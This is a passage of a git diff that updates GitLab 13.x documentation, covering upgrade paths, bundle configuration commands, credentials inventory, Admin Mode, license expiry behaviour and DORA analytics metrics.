[decrease the cloning depth](../../ci/large_repositories/index.md#shallow-cloning) + to a value of `1`. For example: + + ```shell + variables: + GIT_DEPTH: 1 + ``` + +- You can increase the + [http.postBuffer](https://git-scm.com/docs/git-config#Documentation/git-config.txt-httppostBuffer) + value in your local Git configuration from the default 1 MB value to a value greater + than the repository size. For example, if `git clone` fails when cloning a 500 MB + repository, you should set `http.postBuffer` to `524288000`: + + ```shell + # Set the http.postBuffer size, in bytes + git config http.postBuffer 524288000 + ``` + +- You can increase the `http.postBuffer` on the server side: + + 1. Modify the GitLab instance's + [`gitlab.rb`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/13.5.1+ee.0/files/gitlab-config-template/gitlab.rb.template#L1435-1455) file: + + ```shell + omnibus_gitconfig['system'] = { + # Set the http.postBuffer size, in bytes + "http" => ["postBuffer" => 524288000] + } + ``` + + 1. After applying this change, apply the configuration change: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +For example, if a repository has a very long history and no large files, changing +the depth should fix the problem. However, if a repository has very large files, +even a depth of 1 may be too large, thus requiring the `postBuffer` change. +If you increase your local `postBuffer` but the NGINX value on the backend is still +too small, the error persists. + +Modifying the server is not always an option, and introduces more potential risk. +Attempt local changes first. diff --git a/doc/topics/git/useful_git_commands.md b/doc/topics/git/useful_git_commands.md index 94279e521b6..38b44d97583 100644 --- a/doc/topics/git/useful_git_commands.md +++ b/doc/topics/git/useful_git_commands.md @@ -175,7 +175,7 @@ GIT_TRACE_PACKET=1 GIT_TRACE=2 GIT_CURL_VERBOSE=1 git clone <url> Git includes a complete set of [traces for debugging Git commands](https://git-scm.com/book/en/v2/Git-Internals-Environment-Variables#_debugging), for example: - `GIT_TRACE_PERFORMANCE=1`: enables tracing of performance data, showing how long each particular `git` invocation takes. -- `GIT_TRACE_SETUP=1`: enables tracing of what `git` is discovering about the repository and environment it’s interacting with. +- `GIT_TRACE_SETUP=1`: enables tracing of what `git` is discovering about the repository and environment it's interacting with. - `GIT_TRACE_PACKET=1`: enables packet-level tracing for network operations. ## Rebasing diff --git a/doc/university/training/user_training.md b/doc/university/training/user_training.md index 75c4fe25842..e9cca233d6f 100644 --- a/doc/university/training/user_training.md +++ b/doc/university/training/user_training.md @@ -187,7 +187,7 @@ git push origin squash_some_bugs ## Merge requests - When you want feedback create a merge request. -- Target is the ‘default’ branch (usually master). +- Target is the 'default' branch (usually master). - Assign or mention the person you would like to review. - Add `[Draft]` to the title if it's a work in progress. - When accepting, always delete the branch. @@ -260,7 +260,7 @@ git checkout master git tag my_lightweight_tag # Annotated tag -git tag -a v1.0 -m ‘Version 1.0’ +git tag -a v1.0 -m 'Version 1.0' git tag git push origin --tags diff --git a/doc/update/index.md b/doc/update/index.md index 5c26ddb7ec6..71d1bd06ff0 100644 --- a/doc/update/index.md +++ b/doc/update/index.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Upgrading GitLab +# Upgrading GitLab **(FREE SELF)** Upgrading GitLab is a relatively straightforward process, but the complexity can increase based on the installation method you have used, how old your @@ -177,14 +177,14 @@ Find where your version sits in the upgrade path below, and upgrade GitLab accordingly, while also consulting the [version-specific upgrade instructions](#version-specific-upgrading-instructions): -`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` - > [latest `13.Y.Z`](https://about.gitlab.com/releases/categories/releases/) +`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> [latest `13.Y.Z`](https://about.gitlab.com/releases/categories/releases/) The following table, while not exhaustive, shows some examples of the supported upgrade paths. | Target version | Your version | Supported upgrade path | Note | | --------------------- | ------------ | ------------------------ | ---- | -| `13.4.3` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.4.3` | Two intermediate versions are required: the final `12.10` release, plus `13.0`. | +| `13.5.4` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.5.4` | Three intermediate versions are required: the final `12.10` release, plus `13.0` and `13.1`. | | `13.2.10` | `11.5.0` | `11.5.0` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.2.10` | Five intermediate versions are required: the final `11.11`, `12.0`, `12.1` and `12.10` releases, plus `13.0`. | | `12.10.14` | `11.3.4` | `11.3.4` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` | Three intermediate versions are required: the final `11.11` and `12.0` releases, plus `12.1` | | `12.9.5` | `10.4.5` | `10.4.5` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.9.5` | Four intermediate versions are required: `10.8`, `11.11`, `12.0` and `12.1`, then `12.9.5` | @@ -352,12 +352,21 @@ NOTE: Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/) and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches. +### 13.11.0 + +Git 2.31.x and later is required. We recommend you use the +[Git version provided by Gitaly](../install/installation.md#git). + ### 13.6.0 Ruby 2.7.2 is required. GitLab will not start with Ruby 2.6.6 or older versions. The required Git version is Git v2.29 or higher. +### 13.4.0 + +GitLab 13.4.0 includes a background migration to [move all remaining repositories in legacy storage to hashed storage](../administration/raketasks/storage.md#migrate-to-hashed-storage). There are [known issues with this migration](https://gitlab.com/gitlab-org/gitlab/-/issues/259605) which are fixed in GitLab 13.5.4 and later. If possible, skip 13.4.0 and upgrade to 13.5.4 or higher instead. Note that the migration can take quite a while to run, depending on how many repositories must be moved. Be sure to check that all background migrations have completed before upgrading further. + ### 13.3.0 The recommended Git version is Git v2.28. The minimum required version of Git @@ -401,7 +410,7 @@ fail for [multi-node GitLab installations](https://docs.gitlab.com/omnibus/updat So, if you are using multiple Rails servers and specifically upgrading from 13.0, all servers must first be upgraded to 13.1.Z before upgrading to 13.2.0 or later: -1. Ensure all GitLab web nodes are on GitLab 13.1.Z. +1. Ensure all GitLab web nodes are running GitLab 13.1.Z. 1. Optionally, enable the `global_csrf_token` feature flag to enable new method of CSRF token generation: diff --git a/doc/update/patch_versions.md b/doc/update/patch_versions.md index b4c80c4f877..ce0ba46b518 100644 --- a/doc/update/patch_versions.md +++ b/doc/update/patch_versions.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w comments: false --- -# Universal update guide for patch versions of source installations +# Universal update guide for patch versions of source installations **(FREE SELF)** ## Select Version to Install @@ -43,7 +43,12 @@ sudo -u git -H git checkout LATEST_TAG -b LATEST_TAG ```shell cd /home/git/gitlab -sudo -u git -H bundle install --without development test mysql --deployment +# If you haven't done so during installation or a previous upgrade already +sudo -u git -H bundle config set --local deployment 'true' +sudo -u git -H bundle config set --local without 'development test mysql aws kerberos' + +# Update gems +sudo -u git -H bundle install # Optional: clean up old gems sudo -u git -H bundle clean diff --git a/doc/update/restore_after_failure.md b/doc/update/restore_after_failure.md index 64e92c802f2..0847fc82f19 100644 --- a/doc/update/restore_after_failure.md +++ b/doc/update/restore_after_failure.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Restoring from backup after a failed upgrade +# Restoring from backup after a failed upgrade **(FREE SELF)** Upgrades are usually smooth and restoring from backup is a rare occurrence. However, it's important to know how to recover when problems do arise. @@ -12,7 +12,8 @@ However, it's important to know how to recover when problems do arise. ## Roll back to an earlier version and restore a backup In some cases after a failed upgrade, the fastest solution is to roll back to -the previous version you were using. +the previous version you were using. We recommend this path because the failed +upgrade will likely have made database changes that can not be readily reverted. First, roll back the code or package. For source installations this involves checking out the older version (branch or tag). For Omnibus installations this diff --git a/doc/update/upgrading_from_ce_to_ee.md b/doc/update/upgrading_from_ce_to_ee.md index 71fd4efb16d..50d169917ba 100644 --- a/doc/update/upgrading_from_ce_to_ee.md +++ b/doc/update/upgrading_from_ce_to_ee.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w comments: false --- -# Upgrading from Community Edition to Enterprise Edition from source +# Upgrading from Community Edition to Enterprise Edition from source **(FREE SELF)** NOTE: In the past we used separate documents for upgrading from @@ -63,8 +63,11 @@ sudo -u git -H git checkout EE_BRANCH ```shell cd /home/git/gitlab -sudo -u git -H bundle config set deployment 'true' -sudo -u git -H bundle config set without 'development test mysql aws kerberos' +# If you haven't done so during installation or a previous upgrade already +sudo -u git -H bundle config set --local deployment 'true' +sudo -u git -H bundle config set --local without 'development test mysql aws kerberos' + +# Update gems sudo -u git -H bundle install # Optional: clean up old gems diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md index 42acb7552e4..33ae9befd16 100644 --- a/doc/update/upgrading_from_source.md +++ b/doc/update/upgrading_from_source.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w comments: false --- -# Upgrading Community Edition and Enterprise Edition from source +# Upgrading Community Edition and Enterprise Edition from source **(FREE SELF)** NOTE: Users wishing to upgrade to 12.0.0 must take some extra steps. See the @@ -75,7 +75,7 @@ curl --remote-name --progress "https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7 echo 'cb9731a17487e0ad84037490a6baf8bfa31a09e8 ruby-2.7.2.tar.gz' | shasum -c - && tar xzf ruby-2.7.2.tar.gz cd ruby-2.7.2 -./configure --disable-install-rdoc +./configure --disable-install-rdoc --enable-shared make sudo make install ``` @@ -269,8 +269,8 @@ sudo systemctl daemon-reload cd /home/git/gitlab # If you haven't done so during installation or a previous upgrade already -sudo -u git -H bundle config set deployment 'true' -sudo -u git -H bundle config set without 'development test mysql aws kerberos' +sudo -u git -H bundle config set --local deployment 'true' +sudo -u git -H bundle config set --local without 'development test mysql aws kerberos' # Update gems sudo -u git -H bundle install diff --git a/doc/user/admin_area/abuse_reports.md b/doc/user/admin_area/abuse_reports.md index 653c67ed197..85ad0667322 100644 --- a/doc/user/admin_area/abuse_reports.md +++ b/doc/user/admin_area/abuse_reports.md @@ -45,7 +45,7 @@ There are 3 ways to resolve an abuse report, with a button for each method: The following is an example of the **Abuse Reports** page: - + ### Blocking users diff --git a/doc/user/admin_area/activating_deactivating_users.md b/doc/user/admin_area/activating_deactivating_users.md index 1bca1751d2e..144ee2dbf98 100644 --- a/doc/user/admin_area/activating_deactivating_users.md +++ b/doc/user/admin_area/activating_deactivating_users.md @@ -66,4 +66,4 @@ Activating a user changes the user's state to active and consumes a [seat](../../subscriptions/self_managed/index.md#billable-users). NOTE: -A deactivated user can also activate their account themselves by simply logging back in via the UI. +A deactivated user can also activate their account themselves by logging back in via the UI. diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md index 053cee82634..0ae6e41264c 100644 --- a/doc/user/admin_area/credentials_inventory.md +++ b/doc/user/admin_area/credentials_inventory.md @@ -11,8 +11,8 @@ type: howto GitLab administrators are responsible for the overall security of their instance. To assist, GitLab provides a Credentials inventory to keep track of all the credentials that can be used to access their self-managed instance. -Using Credentials inventory, you can see all the personal access tokens (PAT), SSH keys, and GPG keys -that exist in your GitLab instance. In addition, you can [revoke](#revoke-a-users-personal-access-token) +Using Credentials inventory, you can see all the personal access tokens (PAT), SSH keys, and GPG keys +that exist in your GitLab instance. In addition, you can [revoke](#revoke-a-users-personal-access-token) and [delete](#delete-a-users-ssh-key) and see: - Who they belong to. @@ -56,12 +56,16 @@ The instance then notifies the user. ## Review existing GPG keys > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/282429) in GitLab 13.10. -> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-the-gpg-keys-view). +> - [Deployed behind a feature flag](../feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/292961) in GitLab 13.11. +> - Enabled on GitLab.com. +> - Recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-gpg-keys-view). -You can view all existing GPG in your GitLab instance by navigating to the +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +You can view all existing GPG in your GitLab instance by navigating to the credentials inventory GPG Keys tab, as well as the following properties: - Who the GPG key belongs to. @@ -72,10 +76,10 @@ credentials inventory GPG Keys tab, as well as the following properties: ### Enable or disable the GPG keys view -Enabling or disabling the GPG keys view is under development and not ready for production use. It is -deployed behind a feature flag that is **disabled by default**. +Enabling or disabling the GPG keys view is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it. +can opt to disable it. To enable it: diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md index 26551d828bf..b4b33df37bf 100644 --- a/doc/user/admin_area/custom_project_templates.md +++ b/doc/user/admin_area/custom_project_templates.md @@ -16,7 +16,7 @@ Every project directly under the group namespace will be available to the user if they have access to them. For example: - Public projects, in the group will be available to every signed-in user, if all enabled [project features](../project/settings/index.md#sharing-and-permissions) - are set to **Everyone With Access**. + except for GitLab Pages are set to **Everyone With Access**. - Private projects will be available only if the user is a member of the project. Repository and database information that are copied over to each new project are diff --git a/doc/user/admin_area/geo_nodes.md b/doc/user/admin_area/geo_nodes.md index f41170da975..e5132ef4e96 100644 --- a/doc/user/admin_area/geo_nodes.md +++ b/doc/user/admin_area/geo_nodes.md @@ -70,6 +70,12 @@ breaking communication between **primary** and **secondary** nodes when using HTTPS, customize your Internal URL to point to a load balancer with TLS terminated at the load balancer. +WARNING: +Starting with GitLab 13.3 and [until 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/325522), +using an internal URL that is not accessible to the users will result in the +OAuth authorization flow not working properly, as the users will get redirected +to the internal URL instead of the external one. + ## Multiple secondary nodes behind a load balancer In GitLab 11.11, **secondary** nodes can use identical external URLs as long as diff --git a/doc/user/admin_area/img/abuse_reports_page.png b/doc/user/admin_area/img/abuse_reports_page.png Binary files differdeleted file mode 100644 index 30e932211cb..00000000000 --- a/doc/user/admin_area/img/abuse_reports_page.png +++ /dev/null diff --git a/doc/user/admin_area/img/abuse_reports_page_v13_11.png b/doc/user/admin_area/img/abuse_reports_page_v13_11.png Binary files differnew file mode 100644 index 00000000000..bcb2aec9e64 --- /dev/null +++ b/doc/user/admin_area/img/abuse_reports_page_v13_11.png diff --git a/doc/user/admin_area/img/admin_area_settings_button.png b/doc/user/admin_area/img/admin_area_settings_button.png Binary files differdeleted file mode 100644 index 5b969ecd668..00000000000 --- a/doc/user/admin_area/img/admin_area_settings_button.png +++ /dev/null diff --git a/doc/user/admin_area/img/credentials_inventory_gpg_keys_v13_10.png b/doc/user/admin_area/img/credentials_inventory_gpg_keys_v13_10.png Binary files differindex 2486332c477..a88d80a72b6 100644 --- a/doc/user/admin_area/img/credentials_inventory_gpg_keys_v13_10.png +++ b/doc/user/admin_area/img/credentials_inventory_gpg_keys_v13_10.png diff --git a/doc/user/admin_area/img/credentials_inventory_v13_10.png b/doc/user/admin_area/img/credentials_inventory_v13_10.png Binary files differindex e41bbf35a8e..2790ca70fba 100644 --- a/doc/user/admin_area/img/credentials_inventory_v13_10.png +++ b/doc/user/admin_area/img/credentials_inventory_v13_10.png diff --git a/doc/user/admin_area/img/export_permissions_v13_11.png b/doc/user/admin_area/img/export_permissions_v13_11.png Binary files differnew file mode 100644 index 00000000000..d9bbe8c3daf --- /dev/null +++ b/doc/user/admin_area/img/export_permissions_v13_11.png diff --git a/doc/user/admin_area/img/license_details_v13_8.png b/doc/user/admin_area/img/license_details_v13_8.png Binary files differdeleted file mode 100644 index 00421d8a41d..00000000000 --- a/doc/user/admin_area/img/license_details_v13_8.png +++ /dev/null diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md index 6877148bd6d..08fcd4674dc 100644 --- a/doc/user/admin_area/index.md +++ b/doc/user/admin_area/index.md @@ -173,6 +173,8 @@ The following data is included in the export: - Path - Access level ([Project](../permissions.md#project-members-permissions) and [Group](../permissions.md#group-members-permissions)) + + #### Users statistics The **Users statistics** page provides an overview of user accounts by role. These statistics are diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md index 89417de4bab..85ff5f8e7b1 100644 --- a/doc/user/admin_area/license.md +++ b/doc/user/admin_area/license.md @@ -89,10 +89,7 @@ is active until the end of the license period. When that period ends, the instance will [fall back](#what-happens-when-your-license-expires) to Free-only functionality. -You can review the license details at any time in the **License** section of the -**Admin Area**. - - +You can review the license details at any time by going to **Admin Area > License**. ## Notification before the license expires @@ -102,12 +99,15 @@ license, otherwise you miss all the paid features if your license expires. ## What happens when your license expires -In case your license expires, GitLab locks down some features like Git pushes, -and issue creation, and displays a message to all administrators to inform of the expired license. +When your license expires, GitLab locks down features, like Git pushes +and issue creation. Then, your instance becomes read-only and +an expiration message is displayed to all administrators. + +For GitLab self-managed instances, you have a 14-day grace period +before this occurs. -To get back all the previous functionality, you must upload a new license. -To fall back to having only the Free features active, you must delete the -expired license(s). +- To resume functionality, upload a new license. +- To fall back to Free features, delete the expired license. ### Remove a license diff --git a/doc/user/admin_area/merge_requests_approvals.md b/doc/user/admin_area/merge_requests_approvals.md index d6ffde7be95..e8c435a2b5e 100644 --- a/doc/user/admin_area/merge_requests_approvals.md +++ b/doc/user/admin_area/merge_requests_approvals.md @@ -31,3 +31,5 @@ maintainers from allowing users to approve merge requests if they have submitted any commits to the source branch. - **Prevent users from modifying merge request approvers list**. Prevents users from modifying the approvers list in project settings or in individual merge requests. + +Also read the [project level merge request approval rules](../project/merge_requests/merge_request_approvals.md), which are affected by instance level rules. diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md index 3d19bde9a26..29b5bdd5e05 100644 --- a/doc/user/admin_area/settings/continuous_integration.md +++ b/doc/user/admin_area/settings/continuous_integration.md @@ -8,9 +8,8 @@ type: reference # Continuous Integration and Deployment Admin settings **(FREE SELF)** In this area, you will find settings for Auto DevOps, runners, and job artifacts. -You can find it in the **Admin Area > Settings > CI/CD**. - - +You can find it in the [Admin Area](index.md) by navigating to +**Admin Area > Settings > CI/CD**. ## Auto DevOps **(FREE SELF)** diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md index cbdc617d7d9..60081f2e0bd 100644 --- a/doc/user/admin_area/settings/index.md +++ b/doc/user/admin_area/settings/index.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Create +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index --- @@ -38,7 +38,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | [PlantUML](../../../administration/integration/plantuml.md) | Allow rendering of PlantUML diagrams in documents. | | [Slack application](../../../user/project/integrations/gitlab_slack_application.md#configuration) **(FREE SAAS)** | Slack integration allows you to interact with GitLab via slash commands in a chat window. This option is only available on GitLab.com, though it may be [available for self-managed instances in the future](https://gitlab.com/gitlab-org/gitlab/-/issues/28164). | | [Third party offers](third_party_offers.md) | Control the display of third party offers. | -| [Snowplow](../../../development/snowplow.md) | Configure the Snowplow integration. | +| [Snowplow](../../../development/snowplow/index.md) | Configure the Snowplow integration. | | [Google GKE](../../project/clusters/add_gke_clusters.md) | Google GKE integration allows you to provision GKE clusters from GitLab. | | [Amazon EKS](../../project/clusters/add_eks_clusters.md) | Amazon EKS integration allows you to provision EKS clusters from GitLab. | @@ -46,7 +46,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | Option | Description | | ------ | ----------- | -| [Repository's custom initial branch name](../../project/repository/branches/index.md#custom-initial-branch-name) | Set a custom branch name rather than master for all the new repositories created within your instance. | +| [Repository's custom initial branch name](../../project/repository/branches/default.md#instance-level-custom-initial-branch-name) | Set a custom branch name for new repositories created in your instance. | | [Repository mirror](visibility_and_access_controls.md#allow-mirrors-to-be-set-up-for-projects) | Configure repository mirroring. | | [Repository storage](../../../administration/repository_storage_types.md) | Configure storage path settings. | | Repository maintenance | ([Repository checks](../../../administration/repository_checks.md) and [Housekeeping](../../../administration/housekeeping.md)). Configure automatic Git checks and housekeeping on repositories. | diff --git a/doc/user/admin_area/settings/project_integration_management.md b/doc/user/admin_area/settings/project_integration_management.md index 0b9f039880a..b152787b23f 100644 --- a/doc/user/admin_area/settings/project_integration_management.md +++ b/doc/user/admin_area/settings/project_integration_management.md @@ -40,7 +40,7 @@ If this is the first time you are setting up instance-level settings for an inte When you make further changes to the instance defaults: - They are immediately applied to all groups and projects that have the integration set to use default settings. -- They are immediately applied to newer groups and projects, created since you last saved defaults for the +- They are immediately applied to newer groups and projects, created after you last saved defaults for the integration. If your instance-level default setting has the **Enable integration** toggle turned on, the integration is automatically enabled for all such groups and projects. - Groups and projects with custom settings selected for the integration are not immediately affected and may @@ -82,7 +82,7 @@ When you make further changes to the group defaults: - They are immediately applied to all subgroups and projects belonging to the group that have the integration set to use default settings. -- They are immediately applied to newer subgroups and projects, created since you last saved defaults for the +- They are immediately applied to newer subgroups and projects, even those created after you last saved defaults for the integration. If your group-level default setting has the **Enable integration** toggle turned on, the integration is automatically enabled for all such subgroups and projects. diff --git a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md index 30cc64ccaa0..3acfb636a13 100644 --- a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md +++ b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md @@ -5,7 +5,7 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Rate limits on issue creation +# Rate limits on issue creation **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28129) in GitLab 12.10. diff --git a/doc/user/admin_area/settings/rate_limit_on_notes_creation.md b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md index 54b5da35dac..1997e6b5149 100644 --- a/doc/user/admin_area/settings/rate_limit_on_notes_creation.md +++ b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md @@ -5,7 +5,7 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Rate limits on note creation +# Rate limits on note creation **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53637) in GitLab 13.9. diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md index a34a63f4543..7b2928a3873 100644 --- a/doc/user/admin_area/settings/sign_in_restrictions.md +++ b/doc/user/admin_area/settings/sign_in_restrictions.md @@ -23,9 +23,86 @@ You can restrict the password authentication for web interface and Git over HTTP - **Web interface**: When this feature is disabled, an [external authentication provider](../../../administration/auth/README.md) must be used. - **Git over HTTP(S)**: When this feature is disabled, a [Personal Access Token](../../profile/personal_access_tokens.md) must be used to authenticate. +## Admin Mode + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2158) in GitLab 13.10. +> - It's [deployed behind the feature flag](../../../user/feature_flags.md) `:user_mode_in_session`, disabled by default. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to enable it. + +When this feature is enabled, instance administrators are limited as regular users. During that period, +they do not have access to all projects, groups, or the **Admin Area** menu. + +To access potentially dangerous resources, an administrator can activate Admin Mode by: + +- Selecting the *Enable Admin Mode* button +- Trying to access any part of the UI that requires an administrator role, specifically those which call `/admin` endpoints. + +The main use case allows administrators to perform their regular tasks as a regular +user, based on their memberships, without having to set up a second account for +security reasons. + +When Admin Mode status is disabled, administrative users cannot access resources unless +they've been explicitly granted access. For example, when Admin Mode is disabled, they +get a `404` error if they try to open a private group or project, unless +they are members of that group or project. + +2FA should be enabled for administrators and is supported for the Admin Mode flow, as are +OmniAuth providers and LDAP auth. The Admin Mode status is stored in the active user +session and remains active until it is explicitly disabled (it will be disabled +automatically after a timeout otherwise). + +### Limitations of Admin Mode + +The following access methods are **not** protected by Admin Mode: + +- Git client access (SSH using public keys or HTTPS using Personal Access Tokens). +- API access using a Personal Access Token. + +In other words, administrators who are otherwise limited by Admin Mode can still use +Git clients, and access RESTful API endpoints as administrators, without additional +authentication steps. + +We may address these limitations in the future. For more information see the following epic: +[Admin mode for GitLab Administrators](https://gitlab.com/groups/gitlab-org/-/epics/2158). + +### Troubleshooting Admin Mode + +If necessary, you can disable **Admin Mode** as an administrator by using one of these two methods: + +- **API**: + + ```shell + curl --request PUT --header "PRIVATE-TOKEN:$ADMIN_TOKEN" "<gitlab-url>/api/v4/application/settings?admin_mode=false" + ``` + +- [**Rails console**](../../../administration/operations/rails_console.md#starting-a-rails-console-session): + + ```ruby + ::Gitlab::CurrentSettings.update_attributes!(admin_mode: false) + ``` + +## Enable or disable Admin Mode + +Admin Mode is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:user_mode_in_session) +``` + +To disable it: + +```ruby +Feature.disable(:user_mode_in_session) +``` + ## Two-factor authentication -When this feature enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md). +When this feature is enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md). After the two-factor authentication is configured as mandatory, users are allowed to skip forced configuration of two-factor authentication for the configurable grace diff --git a/doc/user/analytics/ci_cd_analytics.md b/doc/user/analytics/ci_cd_analytics.md index 0f19998749d..397f311adae 100644 --- a/doc/user/analytics/ci_cd_analytics.md +++ b/doc/user/analytics/ci_cd_analytics.md @@ -22,7 +22,10 @@ View pipeline duration history:  -## DORA4 Metrics +## DevOps Research and Assessment (DORA) key metrics **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/275991) in GitLab 13.7. +> - Added support for [lead time for changes](https://gitlab.com/gitlab-org/gitlab/-/issues/291746) in GitLab 13.10. Customer experience is a key metric. Users want to measure platform stability and other post-deployment performance KPIs, and set targets for customer behavior, experience, and financial @@ -41,11 +44,20 @@ performance indicators for software development teams: - Time to restore service: How long it takes an organization to recover from a failure in production. -GitLab plans to add support for all the DORA4 metrics at the project and group levels. GitLab added -the first metric, deployment frequency, at the project and group scopes for [CI/CD charts](ci_cd_analytics.md#deployment-frequency-charts), -the [Project API]( ../../api/dora4_project_analytics.md), and the [Group API]( ../../api/dora4_group_analytics.md). +### Supported metrics in GitLab + +The following table shows the supported metrics, at which level they are supported, and which GitLab version (API and UI) they were introduced: + +| Metric | Level | API version | Chart (UI) version | Comments | +| --------------- | ----------- | --------------- | ---------- | ------- | +| `deployment_frequency` | Project-level | [13.7+](../../api/dora/metrics.md) | [13.8+](#deployment-frequency-charts) | The [old API endopint](../../api/dora4_project_analytics.md) was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/323713) in 13.10. | +| `deployment_frequency` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | | +| `lead_time_for_changes` | Project-level | [13.10+](../../api/dora/metrics.md) | To be supported | Unit in seconds. Aggregation method is median. | +| `lead_time_for_changes` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | Unit in seconds. Aggregation method is median. | +| `change_failure_rate` | Project/Group-level | To be supported | To be supported | | +| `time_to_restore_service` | Project/Group-level | To be supported | To be supported | | -## Deployment frequency charts **(ULTIMATE)** +### Deployment frequency charts **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/275991) in GitLab 13.8. @@ -54,3 +66,18 @@ The **Analytics > CI/CD Analytics** page shows information about the deployment information to appear on the graphs.  + +### Lead time charts **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250329) in GitLab 13.11. + +The charts in the **Lead Time** tab show information about how long it takes +merge requests to be deployed to a production environment. + + + +Smaller values are better. Small lead times indicate fast, efficient deployment +processes. + +For time periods in which no merge requests were deployed, the charts render a +red, dashed line. diff --git a/doc/user/analytics/code_review_analytics.md b/doc/user/analytics/code_review_analytics.md index 19016c3aa26..fe091fc9899 100644 --- a/doc/user/analytics/code_review_analytics.md +++ b/doc/user/analytics/code_review_analytics.md @@ -24,11 +24,11 @@ Initially, no data appears. Data is populated as users comment on open merge req Code Review Analytics is available to users with Reporter access and above, and displays a table of open merge requests that have at least one non-author comment. The review time is measured from the time the first non-author comment was submitted. -To access Code Review Analytics, from your project's menu, go to **Project Analytics > Code Review**. +To access Code Review Analytics, from your project's menu, go to **Analytics > Code Review**. You can filter the list of merge requests by milestone and label. - + The table is sorted by: diff --git a/doc/user/analytics/img/code_review_analytics_v12_8.png b/doc/user/analytics/img/code_review_analytics_v12_8.png Binary files differdeleted file mode 100644 index 3b23e74130a..00000000000 --- a/doc/user/analytics/img/code_review_analytics_v12_8.png +++ /dev/null diff --git a/doc/user/analytics/img/code_review_analytics_v13_11.png b/doc/user/analytics/img/code_review_analytics_v13_11.png Binary files differnew file mode 100644 index 00000000000..e337afa3ace --- /dev/null +++ b/doc/user/analytics/img/code_review_analytics_v13_11.png diff --git a/doc/user/analytics/img/issues_created_per_month_v12_8.png b/doc/user/analytics/img/issues_created_per_month_v12_8.png 